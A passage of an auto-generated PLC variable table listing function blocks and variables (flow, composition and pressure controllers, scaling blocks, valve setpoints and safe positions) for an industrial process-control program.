+61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +171;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +180;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +182;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +191;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +193;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +202;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +205;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; 